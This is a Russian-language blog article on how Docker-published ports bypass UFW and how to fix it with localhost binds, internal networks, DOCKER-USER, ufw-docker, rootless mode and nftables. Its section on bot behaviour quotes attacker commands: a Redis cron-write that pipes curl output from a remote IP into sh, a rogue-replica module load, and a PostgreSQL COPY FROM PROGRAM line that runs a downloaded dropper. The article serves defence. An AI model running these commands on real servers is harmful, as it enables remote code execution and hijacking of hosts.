Типичная картина при переезде на свежий VPS. Подняли чистую Ubuntu или Debian под новый проект, сразу навели базовый порядок: ufw default deny incoming, снаружи оставили только 22, 80 и 443. Глянули ufw status — всё четко, лишнего не торчит. Дальше ставится Docker, через компоуз взлетает бэкенд с PostgreSQL и Redis. Чтобы удобно ходить в базу с ноута через DBeaver и гонять миграции, на автомате дописываем ports: - "5432:5432". Кажется, что мы в домике: наружу ничего не светит, фаервол же режет всё, кроме веба и SSH.
А через пару дней прилетает абуза от хостера или срабатывает алерт в мониторинге: все ядра в полке, в htop резвится какой‑нибудь kdevtmpfsi или kinsing, а вместо таблиц в базе лежит одна записка README_TO_RECOVER с биткойн‑кошельком. Грабли старые, как сам Docker. Но на них с завидной регулярностью наступают и джуны, и вполне опытные админы, привыкшие доверять выводу ufw status.

С полгода назад я сам так развлекался: поднимал тестовый Qdrant на свежей виртуалке CPX21 в хельсинкском ДЦ Hetzner (2 ядра, 4 гига, Debian 12) — щупал векторный поиск под пет‑проект. Всё сделал по уму: UFW включён, SSH только по ключу, парольная авторизация вырублена, остальное в deny. Накатил компоуз: Qdrant, Redis под очереди, Postgres. Все три — с дефолтными ports:. Отошёл налить кофе. Возвращаюсь минут через пять, открываю docker logs у Редиса, а там уже висит чужой REPLICAOF на какой‑то IP из китайской автономки.
Сначала вообще подумал, что это глюк или я сам где‑то наследил со старого теста. Полез проверять историю — нет, прилетело с внешки. Между стартом контейнера и первым коннектом бота прошло 1 минута 52 секунды.
И ладно бы это был единичный случай. Дефолтный компоуз с распахнутыми 5432 и 6379 годами лежал в стартере Spree Commerce. В ишью #883 чувак описывает ровно этот же сценарий: поднял стартер на чистом VPS, а через несколько минут в Redis уже жил майнер kdevtmpfsi — база без пароля, порты настежь. Мейнтейнер тогда закрыл тикет с формулировкой «это только для локальной разработки». Технически он прав, конечно. Но сколько народу бездумно укатило этот конфиг в прод, страшно представить.
Давайте залезем в таблицы Netfilter и посмотрим, как именно Docker обходит UFW (с поправкой на то, что поменялось в свежих версиях 28 и 29), глянем по логам, что боты пытаются сделать внутри контейнера в первые полминуты после коннекта, и соберём рабочие способы изоляции, которые не ломают сеть на хосте.
Иллюзия закрытого периметра
Чтобы не теоретизировать, поднимем на тестовом стенде обычный docker-compose.yml с базой и кэшем. Ровно такой кочует из туториала в туториал:
services: db: image: postgres:15-alpine environment: POSTGRES_USER: postgres POSTGRES_PASSWORD: password123 ports: - "5432:5432" cache: image: redis:7-alpine ports: - "6379:6379"
Запускаем docker compose up -d и сразу смотрим статус фаервола на хосте:
root@prod-vps:~# ufw status verbose Status: active Logging: on (low) Default: deny (incoming), allow (outgoing), deny (routed) New profiles: skip To Action From -- ------ ---- 22/tcp ALLOW IN Anywhere 80/tcp ALLOW IN Anywhere 443/tcp ALLOW IN Anywhere 22/tcp (v6) ALLOW IN Anywhere (v6) 80/tcp (v6) ALLOW IN Anywhere (v6) 443/tcp (v6) ALLOW IN Anywhere (v6)
Выглядит надёжно. Входящие по дефолту deny, транзит (routed) тоже deny, в разрешённых только SSH и веб. Никаких 5432 и 6379 в списке нет. Обычно на этом моменте админ со спокойной душой закрывает терминал и идёт настраивать Nginx.
А база в этот момент уже торчит голой жопой в интернет.
Берём любую внешнюю машину (хоть ноут, подключенный через телефонный хотспот) и стучимся в белый IP нашего сервера неткатом:
user@laptop:~$ nc -zv 85.143.210.xx 5432 6379 Connection to 85.143.210.xx 5432 port [tcp/postgresql] succeeded! Connection to 85.143.210.xx 6379 port [tcp/redis] succeeded!
Оба порта радостно ответили.
Возвращаемся на сервер, смотрим слушающие сокеты через ss -tulpn:
root@prod-vps:~# ss -tulpn | grep -E '5432|6379' tcp LISTEN 0 4096 0.0.0.0:6379 0.0.0.0:* users:(("docker-proxy",pid=14512,fd=4)) tcp LISTEN 0 4096 0.0.0.0:5432 0.0.0.0:* users:(("docker-proxy",pid=14489,fd=4)) tcp LISTEN 0 4096 [::]:6379 [::]:* users:(("docker-proxy",pid=14519,fd=4)) tcp LISTEN 0 4096 [::]:5432 [::]:* users:(("docker-proxy",pid=14496,fd=4))
На всех интерфейсах IPv4 (0.0.0.0) и IPv6 ([::]) висят процессы docker-proxy. Но сам факт того, что сокет слушается, ещё не объясняет главного: какого лешего пакеты с внешки вообще долетают до контейнеров, если в UFW стоит жёсткий deny и на вход, и на роутинг?
Тут придётся спуститься на уровень ядра.
Что происходит под капотом: Netfilter, PREROUTING и INPUT
Сам по себе UFW — это просто питоновская обёртка над старым добрым iptables (или над nftables через прослойку iptables-nft в свежих дистрибутивах). Когда вы пишете ufw allow или ufw deny, он складывает правила фильтрации входящих коннектов в цепочку INPUT таблицы filter.
По логике работы Netfilter в цепочку INPUT попадают только те пакеты, которые адресованы непосредственно самому хосту. Прилетел пакет с сетевой карты → ядро посмотрело на Destination IP → увидело там адрес своего локального интерфейса → отправило пакет в INPUT, где его уже ждут цепочки ufw-before-input и ufw-user-input.
Но как только в систему встаёт dockerd, схема ломается. Демон включает в ядре маршрутизацию (net.ipv4.ip_forward = 1), поднимает виртуальные мосты (docker0 и отдельные br-xxxx под каждый компоуз‑стек) и раздаёт контейнерам внутренние адреса из подсетей вроде 172.18.0.0/16. А чтобы проброс портов работал, Docker лезет в таблицу nat, в цепочку PREROUTING.
Вся суть PREROUTING в том, что она перехватывает пакет на самом входе с сетевухи — ещё до того, как ядро примет решение о маршрутизации (Routing Decision) и разберётся, локальный это трафик или транзитный.
Смотрим, что Docker навертел в таблице nat:
root@prod-vps:~# iptables -t nat -L -n -v Chain PREROUTING (policy ACCEPT 194 packets, 14820 bytes) pkts bytes target prot opt in out source destination 612 38404 DOCKER all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL Chain DOCKER (2 references) pkts bytes target prot opt in out source destination 0 0 RETURN all -- docker0 * 0.0.0.0/0 0.0.0.0/0 0 0 RETURN all -- br-8f9a1c4b2e10 * 0.0.0.0/0 0.0.0.0/0 3 180 DNAT tcp -- !br-8f9a1c4b2e10 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:5432 to:172.18.0.2:5432 1 60 DNAT tcp -- !br-8f9a1c4b2e10 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:6379 to:172.18.0.3:6379
И вот здесь происходит главный фокус.
Когда снаружи на белый IP сервера (85.143.210.xx) стучится пакет на порт 5432, он залетает в PREROUTING, проваливается в цепочку DOCKER и попадает под правило DNAT (Destination NAT). Прямо в этой точке ядро на лету переписывает адрес назначения в заголовке пакета с 85.143.210.xx на внутренний IP контейнера — 172.18.0.2.
Дальше пакет доходит до развилки маршрутизации. Ядро смотрит на уже новый адрес (172.18.0.2) и понимает: ага, это не мой локальный IP, это адрес из подсети за виртуальным бриджем. А раз пакет идёт транзитом в другую сеть, то в цепочке INPUT ему делать нечего. Он отправляется прямиком в FORWARD таблицы filter.
Если нарисовать это на салфетке, путь пакета выглядит так:

Тут логичный вопрос: окей, пакет ушёл в транзит, но ведь в статусе UFW у нас было написано Default: deny (routed). Почему он не дропается в FORWARD?
Да потому что Docker при старте пихает свои цепочки в самый верх FORWARD, строго перед правилами UFW:
root@prod-vps:~# iptables -t filter -L FORWARD -n --line-numbers Chain FORWARD (policy DROP) num target prot opt source destination 1 DOCKER-USER all -- 0.0.0.0/0 0.0.0.0/0 2 DOCKER-FORWARD all -- 0.0.0.0/0 0.0.0.0/0 ... 8 ufw-before-logging-forward all -- 0.0.0.0/0 0.0.0.0/0 9 ufw-before-forward all -- 0.0.0.0/0 0.0.0.0/0
Примечание: если у вас Docker старее 28-й версии, вместо
DOCKER-FORWARDтам будут висеть старые цепочкиDOCKER-ISOLATION-STAGE-1/2, которые окончательно вычистили только в релизе 29.0, плюс прямой прыжок в цепочкуDOCKER. Суть от этого не меняется.
Пакет доходит до второй строчки, ныряет в DOCKER-FORWARD → DOCKER, находит там разрешающий ACCEPT для порта 5432 и спокойно пролетает в контейнер. До 8-й и 9-й строчек, где живут запреты UFW, очередь вообще не доходит.
Сюрприз со стороны IPv6
Здесь зарыта ещё одна неочевидная грабля, на которой регулярно горят любители мануалов из интернета. Причём стреляет она сразу в двух сценариях.
Сценарий первый: транзитный. Начиная с версии Docker 27.0, управление ip6tables включили по умолчанию. Если вы решили идти в ногу со временем и активировали IPv6 для своих сетей или демон сам подхватил v6-префикс, Docker начинает точно так же штамповать правила DNAT в ip6tables. И весь транзитный IPv6-трафик улетает в цепочку FORWARD в обход UFW ровно по той же схеме, что и четвёрка.
Допустим, админ узнал про цепочку DOCKER-USER, радостно накидал туда запрещающих правил через привычный iptables, проверил снаружи через nc -zv <IPv4> 5432 — ура, порт отбит! И со спокойной совестью ушёл спать. А про ip6tables банально забыл.
Сценарий второй: локальный прокси. Даже если ваши контейнеры живут исключительно на IPv4, дефолтный docker-proxy на хосте всё равно по умолчанию биндится сразу на оба стека, включая сокет вида [::]:5432:
root@prod-vps:~# ss -tulpn | grep 5432 tcp LISTEN 0 4096 0.0.0.0:5432 0.0.0.0:* users:(("docker-proxy",pid=14489,fd=4)) tcp LISTEN 0 4096 [::]:5432 [::]:* users:(("docker-proxy",pid=14496,fd=4))
Да, в этом случае правил DNAT в ip6tables нет, и пакет с внешки пойдёт по стандартному пути в цепочку INPUT самого хоста. Если у вас включён UFW с дефолтным конфигом, он этот пакет честно прихлопнет. Но если вы крутите фаервол руками через скрипты iptables, или когда‑то по старым гайдам поставили IPV6=no в /etc/default/ufw («чтобы не мешался»), происходит магия: пакет по IPv6 беспрепятственно залетает в сокет docker-proxy в пространстве пользователя, а тот заботливо перекладывает его внутрь IPv4-контейнера.
Учитывая, что большинство облаков вроде Hetzner раздают публичную /64 подсеть из коробки, ситуация становится комичной: по IPv4 база наглухо закрыта вашими правилами, а по «шестёрке» сервер распахнут настежь для любого сканера, который умеет парсить AAAA‑записи или чесать v6-диапазоны хостера.
Проверяется элементарно с любой внешней машины с поддержкой IPv6:
nc -6 -zv 2a01:4f8:c17:7e4::xx 5432
Если порт ответил SYN-ACK — у вас парадная дверь на замке, а балкон нараспашку. Мораль простая: не отключайте фильтрацию IPv6 на хосте, а любое правило, которое вы пишете для защиты Докера, обязательно зеркальте в ip6tables (или закрывайте на уровне единых таблиц семейства inet в современном nftables, но об этом ниже).
Полминуты после деплоя: что делают боты внутри БД
От разработчиков, которые сами поднимают инфру под пет‑проекты или dev‑стенды, я часто слышу один и тот же аргумент: «Да кому нужен мой тестовый VPS? IP свежий, домены на него не привязаны, в паблике не светился, никто про него не знает».
Знают. Причём узнают обычно быстрее, чем Postgres успевает дописать в лог database system is ready to accept connections.

Диапазоны IP всех популярных облаков — Hetzner, DigitalOcean, AWS, Vultr, да и наших российских хостеров — в режиме 24/7 прочёсывают сканерами вроде masscan и zmap. Лупят по стандартному набору портов: 22, 2375 (забытый сокет Docker API), 3306, 5432, 6379, 9200, 27017, 5984. Как только порт отдаёт SYN-ACK, IP‑адрес тут же падает в очередь к скрипту автоэксплуатации. От момента старта контейнера до прилёта первого боевого пейлоада иногда проходит секунд тридцать. У меня в истории с Qdrant вышло меньше двух минут.
Давайте посмотрим, что происходит внутри двух самых частых жертв.
Пациент № 1: Redis (6379)
В официальном образе Редиса пароля по умолчанию нет. Формально там включён protected-mode yes, и если поставить Redis просто на голый хост, он честно отобьёт внешние коннекты при пустом пароле. Но эта защита проектировалась от ситуации «забыл забиндить на localhost», а не когда порт проброшен через Docker‑сеть. Плюс в половине туториалов и ответов на StackOverflow людям советуют: «Не коннектится к Редису? Допиши в конфиг protected-mode no или передай флагом в command:».
Как только бот находит открытый 6379 без авторизации, он первым делом часто лупит FLUSHALL — тупо чистит память и сносит следы конкурирующих группировок.
Что происходит дальше, сильно зависит от версии вашего образа. На свежем redis:7-alpine (как у меня на стенде) сходу получить RCE у бота не выйдет: в седьмой ветке разработчики наконец‑то закрутили гайки и по дефолту вырубили опасные директивы (enable-module-command no, enable-debug-command no), а сам процесс внутри контейнера крутится от бесправного юзера redis. Максимум, что сделает скрипт на дефолтной семёрке — снесёт вам кэш и подвесит инстанс вечной репликой к какому‑нибудь левому хосту.
Но если в прод уехал старый образ (5.x / 6.x), чья‑то кастомная сборка, работающая от root, или внутрь контейнера криво проброшены вольюмы с хоста, для бота это практически готовый шелл. В ход идут три проверенных метода.
Запись на диск через подмену путей дампа. Старый дедовский способ. Бот на лету меняет рабочую директорию и имя файла дампа, чтобы положить свой SSH‑ключ в ~/.ssh или закинуть задание в крон:
CONFIG SET dir /var/spool/cron/crontabs CONFIG SET dbfilename root SET x "\n\n*/1 * * * * curl -fsSL http://185.220.101.xx/sh | sh\n\n" SAVE
Если Redis запущен от рута или у него почему‑то есть права на запись в системные папки, демон крона проглотит RDB‑файл, проигнорирует бинарный мусор в начале и каждую минуту будет дёргать curl.
Пробитие песочницы Lua. Тут эксплуатируют старые баги вроде CVE-2022-0543. Что интересно, это был даже не баг самого Redis, а косяк мейнтейнеров пакетов в Debian и Ubuntu: через EVAL можно было дотянуться до динамической системной библиотеки liblua, вытащить оттуда package.loadlib и выполнить любую команду в шелле в обход песочницы. В легковесных alpine‑образах этой дыры не было, а вот в сборках на базе debian в своё время поломали тысячи серверов.
Загрузка вредоносного модуля через репликацию. Это основной вектор для всех незащищённых инстансов вплоть до 7-й версии. Когда права на запись порезаны и в /etc ничего не положишь, бот присылает команду REPLICAOF 185.220.101.xx 6379. Ваш Redis послушно соединяется с фейковым мастером и тянет оттуда «дамп для синхронизации», который на самом деле представляет собой скомпилированную сишную библиотеку (exp.so), сохраняемую в /data. Следом летит MODULE LOAD /data/exp.so, в базе регистрируется кастомная команда system.exec, и атакующий получает полноценное выполнение кода внутри контейнера.
Пациент № 2: PostgreSQL (5432)
С Постгресом всё ещё прозаичнее. В локальных компоуз‑файлах никто не генерит сложные пароли — там сплошь postgres:postgres, postgres:root, postgres:123456, admin или password. Простенький брутфорсер прогоняет словарь из топ-50 таких связок за пару секунд.
Когда пароль подобран и бот зашёл под дефолтным суперпользователем postgres, никакие эксплойты ему вообще не нужны. Начиная с версии 9.3 в СУБД есть совершенно легальная фича COPY ... FROM PROGRAM, которая позволяет читать данные напрямую из вывода любого системного процесса. Доступна она только суперюзеру (или членам роли pg_execute_server_program с 11-й версии), но дефолтный postgres — как раз суперюзер.
В логах взломанной базы всегда остаётся один и тот же след:
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'sh -c "wget -q -O - http://45.132.19.xx/p.sh | sh"';
Постгрес сам заботливо форкает /bin/sh и запускает скачанный дроппер с правами системного пользователя postgres.
Зачем майнерам ваш nvidia‑smi
Если повесить на 5432 или 6379 простой хонипот и посмотреть, какие команды выполняет скрипт сразу после получения шелла, там всегда будет примерно один и тот же чек‑лист первичной разведки:
uname -a uptime -p cat /proc/cpuinfo | grep "model name" | uniq lscpu free -m nvidia-smi -L lspci | grep -i -E "vga|3d|display"
С первыми строчками всё понятно: боту нужно определить архитектуру (x86_64 или ARM) и количество ядер, чтобы стянуть подходящий бинарник XMRig и начать греть процессор об Monero. Но посмотрите на две последние команды — скрипт целенаправленно ищет видеокарты через nvidia-smi и lspci.
Дело в том, что копать Monero на двух чахлых ядрах пятибаксовой виртуалки сегодня почти бессмысленно: выхлоп копеечный, а антифрод любого нормального облака банит виртуалку за 100% CPU в течение нескольких часов. Зато на волне бума локальных LLM и нейросетей разработчики массово арендуют жирные серверы с GPU (RTX 4090, A100, H100) и точно так же разворачивают там рабочее окружение в Docker: векторные базы (Qdrant, Milvus, Weaviate), Redis под очереди задач, Postgres, Jupyter. И по старой привычке прокидывают порты наружу.
Если скрипт видит, что в контейнер через --gpus all проброшена живая карта NVIDIA, тупой CPU‑майнер туда часто даже не ставят, чтобы не палить контору перед мониторингом. На машину тихо сажают бэкдор или реверс‑шелл, а доступ сливают с рук: либо под скрытый GPU‑майнинг, либо ребятам, которые гоняют чужие мощности под инференс и файнтюнинг сеток. Один такой скомпрометированный инстанс на Vast.ai или Lambda Labs окупает месяцы работы сканера.
Как закрыть дыру: четыре нормальных пути и один вредный совет
В зависимости от архитектуры проекта — нужна ли вам база снаружи или весь стек крутится на одной машине — проблема решается на разных уровнях.
Вариант 1. Бинд на 127.0.0.1 и internal‑сети (закрывает 90% задач)
Когда мы пишем короткое ports: - "5432:5432", Docker разворачивает это в 0.0.0.0:5432:5432. Если порт на самом хосте нужен только локальному бэкенду (который крутится в systemd вне докера) или вам самим, чтобы цепляться с ноута через SSH‑туннель (ssh -L 5432:127.0.0.1:5432 user@server), просто укажите локалхост явно:
services: db: image: postgres:15-alpine ports: - "127.0.0.1:5432:5432"
После этого правило DNAT в цепочке PREROUTING будет срабатывать только для пакетов с адресом назначения 127.0.0.1. С внешнего интерфейса туда уже не пробиться.
Любопытный нюанс: до выхода Docker 28.0 даже с биндом на 127.0.0.1 оставалась лазейка в пределах одного L2-сегмента сети. Сосед по свитчу в дата‑центре мог скрафтить пакет на ваш MAC‑адрес с заголовком назначения 127.0.0.1, и докерный DNAT в PREROUTING перехватывал его раньше, чем ядро успевало дропнуть пакет как «марсианский». В релизе 28.0.0 это наконец починили: теперь демон автоматом вешает жёсткий DROP в таблице raw цепочки PREROUTING для любых пакетов на loopback, прилетевших не с интерфейса lo.
А ещё надёжнее — вообще выкинуть секцию ports у баз данных и очередей.
Если бэкенд и база живут в одном docker-compose.yml, публиковать порт на хост не нужно в принципе. Разведите их по внутренним сетям компоуза:
services: backend: build: ./app networks: - frontend_net - db_net db: image: postgres:15-alpine # никаких ports наружу networks: - db_net networks: frontend_net: driver: bridge db_net: driver: bridge internal: true
Бэкенд спокойно достучится до базы по внутреннему DNS‑имени db:5432. Для внешнего мира этого порта не существует. А флаг internal: true на сети db_net даёт отличный бонус к безопасности: он полностью отрезает контейнеру с базой выход в интернет. Даже если в вашем коде найдут SQL‑инъекцию и скормят Постгресу COPY ... FROM PROGRAM 'curl ...', команда тупо зависнет на попытке резолва и скачивания малвари — маршрута наружу у контейнера нет.
К слову, в Docker 28 для внутренних сетей завезли ещё и опцию драйвера gateway_mode_ipv4=isolated — она вообще убирает IP‑адрес шлюза с бриджа на хосте, так что из пробитого контейнера нельзя будет простучать даже сервисы самого хоста, слушающие 0.0.0.0.
Вредный совет из интернета: «iptables»: false
В выдаче гугла до сих пор в самом верху висят статьи с рецептом: «Чтобы Docker не ломал правила UFW, просто пропишите "iptables": false в /etc/docker/daemon.json».

Никогда не делайте так на рабочих серверах.
Да, Docker действительно перестанет трогать Netfilter и открывать порты в обход фаервола. Вот только вместе с этим он перестанет создавать правила MASQUERADE (Source NAT) в цепочке POSTROUTING. В эту же секунду все ваши контейнеры потеряют доступ в интернет: бэкенд не сможет дёрнуть внешний API оплаты, отвалится отправка уведомлений в Telegram, а любой docker build упадёт на первом же apt-get update.
Я лично наблюдал, как человек по такому гайду «починил» фаервол на проде, а потом полдня с красными глазами искал, почему у него отвалился CI/CD при сборке образов. Руками прописывать и поддерживать правила NAT для всех динамических бриджей компоуза — занятие для очень специфических ценителей боли.
Вариант 2. Когда порт реально нужен снаружи: цепочка DOCKER‑USER
Бывают ситуации, когда порт контейнера всё‑таки необходимо выставить в интернет, но пустить туда нужно только своих. Например, бэкенд крутится на одной виртуалке, тяжёлая БД в докере — на другой, а натягивать между ними WireGuard ради одного коннекта прямо сейчас некогда. Задача: разрешить доступ с одного белого IP (195.88.54.xx), а всех остальных отшить.
Для этого в классическом iptables‑бэкенде Докера предусмотрена специальная цепочка DOCKER-USER. Её вызов всегда висит первой строчкой в FORWARD — до любых автогенерируемых правил самого Докера. И главное: при перезапуске контейнеров или самого демона Docker не трогает и не затирает то, что вы написали внутри DOCKER-USER.
Смотрим, как у нас называется внешний сетевой интерфейс (через ip route show default, пусть будет классический eth0), и накидываем правила:
# чистим дефолтный RETURN, который висит в пустой цепочке iptables -F DOCKER-USER # пропускаем уже установленные соединения и ответные пакеты, # чтобы сами контейнеры могли нормально ходить в интернет iptables -A DOCKER-USER -i eth0 -m conntrack --ctstate RELATED,ESTABLISHED -j RETURN # пускаем наш доверенный сервер (195.88.54.xx) к порту 5432 # важно: матчим порт через --ctorigdstport (до применения DNAT), # обычный --dport тут сломает голову, если внешний и внутренний порты отличаются iptables -A DOCKER-USER -i eth0 -s 195.88.54.xx/32 -p tcp -m conntrack --ctorigdstport 5432 -j RETURN # весь остальной входящий трафик с внешней сетевухи в сторону докера рубим iptables -A DOCKER-USER -i eth0 -j DROP # возвращаем дефолтный RETURN в самый конец для локального и межконтейнерного трафика iptables -A DOCKER-USER -j RETURN
С этим --ctorigdstport я в своё время сам просидел целый вечер: написал правило с обычным --dport, а пакеты от доверенного IP всё равно улетали в DROP. Оказалось, что к моменту попадания пакета в FORWARD он уже прошёл процедуру DNAT в PREROUTING, и целевой порт в заголовке сменился на внутренний порт контейнера. А модуль conntrack помнит изначальный порт, на который стучался клиент.
Само собой, если у вас Nginx или Traefik на 80/443 портах тоже живут внутри контейнеров, перед строчкой с DROP не забудьте добавить аналогичные правила RETURN для ‑ctorigdstport 80 и 443 без ограничения по ‑s, иначе потушите веб.
Почему в правилах мы делаем прыжок на RETURN, а не сразу ACCEPT? Так мы просто говорим ядру: «Проверка пройдена, выходи из DOCKER-USER обратно в FORWARD и дальше обрабатывай пакет по штатным цепочкам Докера».
Один момент с сохранением: не делайте netfilter-persistent save в лоб при запущенном Докере. Иначе в статический конфиг сохранятся вообще все временные цепочки запущенных в данный момент контейнеров, и после ребута сервера в таблицах будет каша. Гораздо проще закинуть эти пять команд в небольшой bash‑скрипт и вызывать его через systemd‑юнит с привязкой After=docker.service.
И обязательно дублируем то же самое для IPv6:
ip6tables -F DOCKER-USER ip6tables -A DOCKER-USER -i eth0 -m conntrack --ctstate RELATED,ESTABLISHED -j RETURN ip6tables -A DOCKER-USER -i eth0 -s 2a01:4f8:c17:7e4::xx/128 -p tcp -m conntrack --ctorigdstport 5432 -j RETURN ip6tables -A DOCKER-USER -i eth0 -j DROP ip6tables -A DOCKER-USER -j RETURN
Вариант 3. Дружим Docker со штатным UFW: ufw‑docker
Если писать портянки на голом iptables нет никакого желания, а хочется рулить доступом к контейнерам привычными командами ufw, есть проверенный временем рецепт из репозитория chaifeng/ufw‑docker.
Механика там простая: мы берём стандартный файл /etc/ufw/after.rules (UFW накатывает его в самом конце инициализации) и прямо внутри него переопределяем цепочку DOCKER-USER, заворачивая проверку транзитных пакетов обратно в цепочки UFW.
В оригинальном репозитории автор пытается закрыть всё через перечисление приватных IP‑адресов, чтобы не зависеть от имени сетевой карты. Но это опасная стратегия: если ваш хостер использует «серые» подсети для внутренних нужд, этот фаервол их просто проигнорирует.
Намного надежнее явно указать внешний сетевой интерфейс (eth0), чтобы весь входящий трафик из интернета принудительно заворачивался на проверку в UFW. Для этого допишите в конец /etc/ufw/after.rules вот такой блок:
# BEGIN UFW AND DOCKER *filter :ufw-user-forward - [0:0] :ufw-docker-logging-deny - [0:0] :DOCKER-USER - [0:0] -A DOCKER-USER -j ufw-user-forward -A DOCKER-USER -m conntrack --ctstate RELATED,ESTABLISHED -j RETURN -A DOCKER-USER -m conntrack --ctstate INVALID -j DROP -A DOCKER-USER -i eth0 -m conntrack --ctstate NEW -j ufw-docker-logging-deny -A ufw-docker-logging-deny -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW DOCKER BLOCK] " -A ufw-docker-logging-deny -j DROP COMMIT # END UFW AND DOCKER
Не забудьте поменять
eth0на реальное имя вашего публичного интерфейса, которое можно подсмотреть командойip route show default. А для защиты IPv6 добавьте точно такой же блок в файл/etc/ufw/after6.rules
Перезапускаем фаервол через systemctl restart ufw. Как теперь пойдёт трафик? Любой новый пакет с внешнего интерфейса, который пробился через DNAT в сторону контейнера, внутри DOCKER-USER первым делом отправляется на проверку в цепочку ufw-user-forward. Если вы явно не разрешили этот маршрут в UFW, пакет доходит до правила с --ctstate NEW и молча дропается (с записью в системный лог). Даже если кто‑то из разработчиков по запарке раскомментировал в компоузе 0.0.0.0:5432:5432, снаружи порт останется закрытым.
А открывать доступ нужным хостам теперь можно штатным синтаксисом маршрутизации UFW:
ufw route allow proto tcp from 195.88.54.xx to any port 5432
Правда, тут нужно держать в голове две особенности. Во‑первых, поскольку ufw-user-forward вызывается уже после отработки DNAT в PREROUTING, в правиле ufw route allow всегда нужно указывать внутренний порт контейнера (5432), даже если наружу вы его пробросили нестандартно, типа 15432:5432. А во‑вторых, конструкция to any port 5432 откроет этот порт до любого контейнера на хосте, где слушается 5432. Можно, конечно, указать конкретный IP контейнера (to 172.18.0.2 port 5432), но при следующем docker compose down / up этот IP может измениться.
Поэтому либо жёстко фиксируйте IP‑адреса в компоузе через ipv4_address, либо используйте комплектную утилиту из репы ufw-docker (командами вида ufw-docker allow httpd 80, только не делайте ufw-docker install, чтобы не затереть наш конфиг в after.rules) — скрипт сам сходит в Docker API, узнает текущий IP контейнера и пропишет точечное правило в фаервол.
Вариант 4. Радикальный: rootless Docker и нативный nftables в Docker 29+
Вся эта головная боль с DOCKER-USER существует по одной простой причине: стандартный демон Докера работает от root, обладает правами CAP_NET_ADMIN и хозяйничает в сетевом стеке ядра как у себя дома. Но если перевести Docker в rootless‑режим (dockerd-rootless-setuptool.sh install), проблема обхода фаервола исчезает как класс.
В rootless‑режиме и сам демон, и все контейнеры запускаются внутри пользовательского неймспейса (через обвязку RootlessKit и юзерспейсные сетевые бэкенды slirp4netns или более свежий и быстрый pasta). У непривилегированного демона физически нет прав менять правила iptables или nftables на хосте. Когда вы публикуете порт контейнера, он открывается на хосте как обычный пользовательский сокет от имени вашего юзера. А это значит, что весь входящий трафик к нему идёт не в транзитный FORWARD, а в стандартный INPUT — то есть попадает напрямую под действие обычных правил UFW. Всё, что закрыто в ufw status, будет реально закрыто снаружи безо всяких правок after.rules.
Единственный подводный камень rootless‑режима, о который многие спотыкаются: дефолтный порт‑драйвер (builtin) при пробросе пакетов теряет исходные IP‑адреса клиентов и подменяет их на 127.0.0.1 (в логах контейнера с Nginx все посетители будут выглядеть как локалхост). Чтобы сохранить реальные IP, нужно переключить порт‑драйвер RootlessKit на slirp4netns или pasta через переменную окружения DOCKERD_ROOTLESS_ROOTLESSKIT_PORT_DRIVER в пользовательском юните systemd. На гигабитных каналах у сети в пространстве пользователя будет заметный оверхед по процессору, но для большинства обычных веб‑проектов и небольших баз это самый чистый в плане безопасности вариант.
Что поменялось в Docker 29+ с приходом нативного nftables

Долгое время Docker даже на свежих дистрибутивах управлял сетью через легаси‑прослойку iptables-nft. Но в релизе Docker 29.0 разработчики наконец выкатили экспериментальный нативный бэкенд, который включается опцией "firewall-backend": "nftables" в daemon.json.
Если решите пощупать его на своих серверах, имейте в виду главное: в новых нативных таблицах table ip docker-bridges и table ip6 docker-bridges цепочки DOCKER-USER больше нет. Мейнтейнеры Moby отказались от неё сознательно — в архитектуре nftables каждый сервис должен крутить свои правила в собственной изолированной таблице, не залезая в чужие. Соответственно, все старые скрипты и рецепты на базе ufw-docker при переключении на этот бэкенд превращаются в тыкву.
Чтобы фильтровать внешний трафик к контейнерам на чистом nftables, теперь не нужно лезть в правила самого Докера. Вместо этого мы создаём свою собственную таблицу (например, в /etc/nftables.conf) с базовой цепочкой на хуке forward и выставляем ей приоритет чуть раньше, чем у таблиц Докера (у него стандартный 0, а мы поставим filter - 10, то есть -10).
В nftables вердикт drop является фатальным и окончательным: если вы прибили нежелательный пакет в своей ранней таблице на подходе, до разрешающих правил Докера он уже никогда не дойдёт. А если пакет прошёл вашу проверку и получил accept, он спокойно пойдёт дальше по цепочке в таблицу docker-bridges, где штатное правило проброса порта пустит его в контейнер.
Вот как выглядит замена классическому DOCKER-USER для защиты порта БД на современном стеке:
# Дописываем в /etc/nftables.conf (и применяем через nft -f /etc/nftables.conf) # Семейство inet сразу закрывает оба стека — и IPv4, и IPv6! table inet my_docker_guard { chain forward_check { # Приоритет filter - 10 (-10) гарантирует, что мы проверим пакет РАНЬШЕ Докера (0) type filter hook forward priority filter - 10; policy accept; # 1. Пропускаем ответные пакеты и уже установленные соединения ct state established,related accept # 2. Пускаем наш доверенный сервер к порту 5432 # (conntrack помнит оригинальный порт назначения ещё до того, как сработал DNAT) iifname "eth0" ip saddr 195.88.54.xx tcp dport 5432 accept # Если внешний и внутренний порты контейнера отличаются (например, 15432:5432), # можно матчить порт до DNAT: ct original proto-dst 15432 accept # 3. Весь остальной входящий трафик с внешней сетевухи в сторону мостов Докера — рубим iifname "eth0" oifname { "docker0", "br-*" } drop } }
Посмотрите, насколько это изящнее легаси‑подхода с iptables:
За счёт семейства таблиц
inetмы одним правилом закрываем сразу и IPv4, и IPv6 — больше не нужно держать в голове две отдельные утилиты и дублировать конфиги.В
oifname { "docker0", "br-*" }используется нативный матчинг интерфейсов по маске: правило автоматически накроет и дефолтный мост, и вообще все будущие сетиdocker compose, которые вы поднимете через полгода.При перезапуске демона Docker пересобирает только свои таблицы
docker-bridges, а нашаmy_docker_guardпродолжает железобетонно висеть в ядре.
Для совсем экзотических сценариев, когда нужно не заблокировать, а наоборот — принудительно протолкнуть транзитный трафик сквозь внутренние запреты самого Докера, в релизе 29.0 завезли флаг демона
--bridge-accept-fwmark. Вы вешаете меткуmeta mark set ...на пакет в своей таблице, а Docker, видя её, пропускает пакет в бридж без вопросов
Пока что нативный nftables‑бэкенд в Докере помечен как experimental, но вектор развития понятен уже сейчас: эпоха костылей вокруг DOCKER-USER постепенно уходит в прошлое.
Бонусный рубеж: внешний фаервол в панели хостера (Cloud Firewall)
Предвижу справедливый вопрос в комментариях: «А зачем вообще бодаться с DOCKER-USER внутри виртуалки, если у любого нормального облачного провайдера есть внешний фаервол в панели управления?».
